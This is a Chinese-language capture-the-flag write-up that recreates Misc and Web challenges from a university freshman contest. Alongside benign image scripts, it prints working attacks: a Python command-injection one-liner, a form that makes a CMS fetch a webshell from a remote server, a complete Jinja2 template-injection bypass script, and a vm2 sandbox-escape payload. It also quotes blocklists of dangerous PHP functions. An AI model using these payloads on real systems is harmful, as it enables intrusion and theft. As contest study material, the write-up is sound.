杭电新(劝)生(退)赛 Web&Misc复现

总结

周末没事,看到Fz师傅和尖尖在群里推学校新生赛,去看了下题,题目质量是真的顶,比当今的xx杯好到不知道哪里去了。
于是赛时做了所有的misc以及2个web
赛后准备复现所有web,以及记录几个misc的不错trick。


Misc

Hacked_by_PTT0

流量包提word, (wireshark该更新了)别人直接http流,
我这啥都无。
foremost之后发现就是word
但是有个奇怪的文件
winhex查看是个png
然后就没了。
不过拿docx配置文件出题还是挺有趣的。

神秘代码

#### Description

神秘代码1whGlIjZ1ReEiTUSXxSbZUw/vnz4

在Fz大师傅的提示下才知道这是百度云车头。23333
以后可以多想想。
然后后面是类似白虎的密码柜。
Bitlocker解密blabla,
不过我非预期Strings一把梭了


Broken RedLine

#### Description

尖尖的红线断开了,呜呜呜呜呜呜呜

爆破宽高就不提了,后面的一张图才是传神之作,
res
红线连上用脚本,
对我这种脚本废物是一个学习的好机会,管Y老师借了个脚本看看

from PIL import Image

def re_turn(pixels,num):
    return pixels[num:]+pixels[:num]
p = Image.open('res.png').convert('RGB')
a,b = p.size
pixels = []
for x in range(a):
    pixel = []
    for y in range(b):
        pixel.append(p.getpixel((x,y)))
    pixels.append(pixel)
data = []
for i in pixels:
    for j in range(len(i)):
        if i[j] != i[j-1] and i[j-1] == (255, 0, 0):
            data.append(j)
            break
_pixels = []
for i in range(len(data)):
    _pixels.append(re_turn(pixels[i],data[i]))
p1 = Image.new('RGB',(a,b))
for x in range(a):
    for y in range(b):
        p1.putpixel((x,y),_pixels[x][y])
p1.save('flag.png')

以后脚本还是要多加油啊。。。。


人工智障

python input特性造成的命令注入,直接一把梭了。

__import__('os').popen('cat ./`flag.txt`').read()

guess

老trick了,V神也是为了出那个trick
识别数字nan (x


我的二维码,时尚时尚最时尚

#### Description

二维码真的好玩,于是尖尖自己设计了一个二维码,你能扫出来吗?

foremost有两个,一个掩码,其实就是两个xor,
但是由于像素不同,不能直接拉伸,和直接combineer
所以要么手点,要么ps处理,要么脚本跑。
我选择了最傻逼的做法。
脚本存一个Fz师傅给的

脚本一把梭

~~~python
from PIL import Image
p1 = Image.open('qrcode.png').convert('L')
p2 = Image.open('掩码.png').convert('L')
a1,b1 = p1.size
a2,b2 = p2.size
p1_block = 12
p1_data = []
for y in range(10,b1,p1_block):
    for x in range(10,a1,p1_block):
        # print(x,y,p1.getpixel((x,y)))
        if p1.getpixel((x,y)) != 255:
            p1_data.append(1)
        else:
            p1_data.append(0)
#y_start = 3 x_start=4

p2_block = 11
p2_data = []
for y in range(4,b2,p2_block):
    for x in range(4,a2,p2_block):
        if p2.getpixel((x, y)) != 0:
            p2_data.append(0)
        else:
            p2_data.append(1)
print(len(p2_data))

fin_data = []
for i in range(len(p2_data)):
    fin_data.append(p1_data[i]^p2_data[i])

b = Image.new('L',(10,10),0)
w = Image.new('L',(10,10),255)
np = Image.new('L',(290,290),255)

# for i in range(len(fin_data)):
#     x = i % 29
#     y = i // 29
#     if p1_data[i] == 1:
#         np.paste(b, (x * 10, y * 10))
#     else:
#         np.paste(w, (x * 10, y * 10))
# np.save("p1.png")

# for i in range(len(fin_data)):
#     x = i % 29
#     y = i // 29
#     if p2_data[i] == 1:
#         np.paste(b, (x * 10, y * 10))
#     else:
#         np.paste(w, (x * 10, y * 10))
# np.save("p2.png")

for i in range(len(fin_data)):
    x = i%29
    y = i//29
    if fin_data[i] == 1:
        np.paste(b,(x*10,y*10))
    else:
        np.paste(w,(x*10,y*10))
np.save("res.png")

WEB

尖尖的商店 2个

都是伪造cookie,第二个secret_key需要打模板注入,
查看Hint发现请求错误路由时候,会自动返回Template(Referer)
由于检查了is_url_valid
其他无任何过滤
所以考虑在原网站后面直接/{{config}}
拿到secret_key伪造session即可。

Hacked by Wendell

是一个CMS 审源码
在plugin中有一些东西。ueditor 的controller.php中存在down_url
考虑远程vps放马
在zzz_file中查看down_url以及filename

function file_name( $path ) {
    return substr( $path, strrpos( $path, '/' ) + 1 );    
}


那么考虑在服务器端传一个马。
小插曲,一直没看懂在哪里限制的后缀,
发现了 $allext=conf('imageext').conf('fileext').conf('videoext');
在down_url
有一句

if(!in_array($file_ext,splits($allext,','))){
        return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR',  'error' => 5 );
    }

联动config/zzz_config.php里面联动就非常明了了。
在自己的服务器打就可以了
自己html写一个表单来提交,

<form
action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded"   method="POST">
shell addr: <input type="text" name="source[]" /> 
    <input type  = "submit" value="Submit" />
</form>

然后

成功getshell拿flag了

Hacked_by_V

又一个CMS的0day

来自尖尖的wp
这题是 EJUCMS 的 0day,虽然给了源码,但不用审也能做,毕竟很明显提示是后
台,而后台能交互文件的地方不多,挖过 CMS 的应该很快能猜到是模板处存在漏洞。

给了后台的登录密码
直接进入后台了。
后台发现渲染模板都在房子那也,那么通过修改渲染模板从而让前端显示php命令

 array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".htaccess" [3]=> string(9) ".user.ini" [4]=> string(10) "Retr_0.php" [5]=> string(11) "application" [6]=> string(4) "core" [7]=> string(4) "data" [8]=> string(6) "extend" [9]=> string(24) "f1AAAAaaaGGGg_123123.php" [10]=> string(11) "favicon.ico" [11]=> string(11) "ha1c9on.php" [12]=> string(9) "index.php" ![](http://www.zhaobairen.club/wp-content/uploads/2020/07/JJ_CVI@@H@773L.png)[13]=> string(18) "install_1595760516" [14]=> string(9) "login.php" [15]=> string(6) "public" [16]=> string(10) "robots.txt" [17]=> string(11) "sitemap.xml" [18]=> string(8) "template" [19]=> string(7) "uploads" [20]=> string(6) "vendor" [21]=> string(5) "weapp" [22]=> string(22) "系统安装说明.url" }


打出flag


套娃

这题说说好了,就不复现了,第一步利用burp 爆破401验证。
有一个小trick发现他的帐号密码形式搞到了header中

然后
Authorization: Basic base64encode('use:password');
第二步LFI,老操作了,但是我的base64总是奇怪编码,反正就是读不到,我吐了
第三步

最后一步就只需要爆破个md5了

from hashlib import md5
for i in range(100000000000):
    if md5(str(i)).hexdigest():[6]=='1024cc':
        print(i)
        break

得到flag
唯一 一个新手提,还是个套娃。


dangerous-function

这题环境没了,看guoke dalao博客慢慢理解的。
因为源码和前面的zzzcms差不多。
只是互相修了这个洞。
全局搜索eval。在inc/zzz_template.php中parserIfLabel函数。有个if标签解析点
在parserCommom函数处调用了parserIfLabel函数
在zzz_client.php中又调用了parserCommom函数
在search/index.php中包含了zzz_client.php
在Web主页有个搜索框。搜索下。得到参数。
本地搭个环境。输出下eval的值。
然后就开始利用了。。
发现有部分字符被替换了。
找到zzz_main.php

function danger_key($s,$type='') {
    $s=empty($type) ? htmlspecialchars($s) : $s;
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
    $s = str_ireplace($key,"*",$s);   
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
   foreach ($danger as $val){
       if(stripos($s,$val) !==false){
        error('很抱歉,执行出错,发现危险字符【'.$val.'】');
      }
   }
    return $s;
}

hex2bin那个貌似是pingpingping的,不过RCE绕过太多了(x
也有很多很多trick绕过这个应该还是没啥问题(x
主要能力还是需要审源码。


ezflask

没看懂(直接贴的Y老师的wp)以后研究一下
很坦诚上来就给了源码,就告诉你模板注入

#!/usr/bin/env python # -*- coding: utf-8 -*- from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory app = Flask(__name__) @app.route("/") def index(): def safe_jinja(s): blacklist = ['class', '_', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}'] flag = True for no in blacklist: if no.lower() in s.lower(): flag = False break return flag if not request.args.get('name'): return open(__file__).read() elif safe_jinja(request.args.get('name')): name = request.args.get('name') else: name = 'wendell' template = '''Hello, %s
''' % (name) return render_template_string(template) if __name__ == "__main__": app.run(host='0.0.0.0', port=5000) 

没办法通过params,body,cookies,headers传额外参数,也没有引号,怎么办呢,这次学到了一个传新的技巧

{{(dict(a=1))|string|truncate(3,True,a|string)|list|last}} == 'a'

为什么呢?因为通过string这个filter,将一个对象化成字符串,再取出这个字符串的某一位就可以构造出任意字符,然后通过dict构造器可以传命名参数然后会化为键值出现在string的结果中,就可以取得这个字符。

_也可以同理,利用1|map|string=='<generator object do_map at 0x7f48573e4f48>'然后同理取一下所在的位置,就能获得

对于/等不是很好构造的,当我们拥有了上面的一些字符,就可以从链上找到builtins.chr,然后直接调用就好了。

总之,这次ssti用到的武器就是filter,jinja2中有很多filter,想要了解全部的话,可以参考官方文档

贴出我的脚本

from jinja2 import Template
import requests
from html import unescape

def test(name):
    def safe_jinja(s):
        blacklist = ['class', '_', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if safe_jinja(name):
        name = name
    else:
        name = 'wendell'
    return Template(name).render()

def gen_chr(c):
    if c == '_':
        return '{% set a95=1|map|string|truncate(21,True,a|string)|list|last %}'
    else:
        return f"{{% set a{ord(c)}=(dict({c}=12))|string|truncate(3,True,a|string)|list|last %}}"

def gen(*args):
    payload = set()
    for p in args:
        for i in p:
            payload.add(gen_chr(i))
    return ''.join(payload), ['('+','.join([f"a{ord(i)}" for i in p]) + ')|join' for p in args]

p, [c, b, s, g, init, glo, o, ch, bt, flag, imp, os, popen, cmd,read] = gen("__class__", "__base__", "__subclasses__",
"__getitem__", "__init__", "__globals__", "open", "chr", "__builtins__","flag","__import__","os", "popen", "cat","read")

p+= f"{{% set slash=()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({ch})(47) %}}"
p+= f"{{% set space=()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({ch})(32) %}}"

payload = p + "{{" + f"()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({imp})({os})|attr({popen})(({cmd},space,slash,{flag})|join)|attr({read})()" + "}}"
print(payload)

r = requests.get("http://ezflask.race2020.0rays.club/", params={"name": payload}).text

print(unescape(r))

ezcalc

这calc源码改了又改。。。
估计还是js相关的东西。

var express = require('express');
var router = express.Router();
const { VM } = require('vm2');

function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}
router.get('/', function (req, res, next) {
  let result = '';
  if (req.query.calc) {
    let calc = req.query.calc;
    result = safeEval(calc);

  }
  else {
    result = '?calc=2-1'
  }

  res.render('index', { title: 'ezcalc', result: result });
});

module.exports = router;

给了源码,index.js
还有个vm,感觉加了个逃逸。。。
safeEval 是否想起了NPUCTF呢。
还是老一套arrorw function绕过。
来执行
Y老师wp:
之后其他的就是找issue

import requests
import re
import base64
url='http://ezcalc.race2020.0rays.club/'
def escape(cmd):
  return'''(()=>{
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        return e(()=>0).mainModule.require('child_process').execSync("cat /flag") 
    }
  })()'''
def gen(cmd):
    s="return "+escape(cmd)
    return ','.join([str(ord(i)) for i in s])
c = 'ls'
payload=f'((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()'
r=requests.get(url,params={"calc":payload})
print(r.text)

还需学习好多啊。。。。


sql

官方wp
这题trick太多,届时自己试试并且整理下sql注入的trick吧。
感觉还是挺有趣的

推荐文章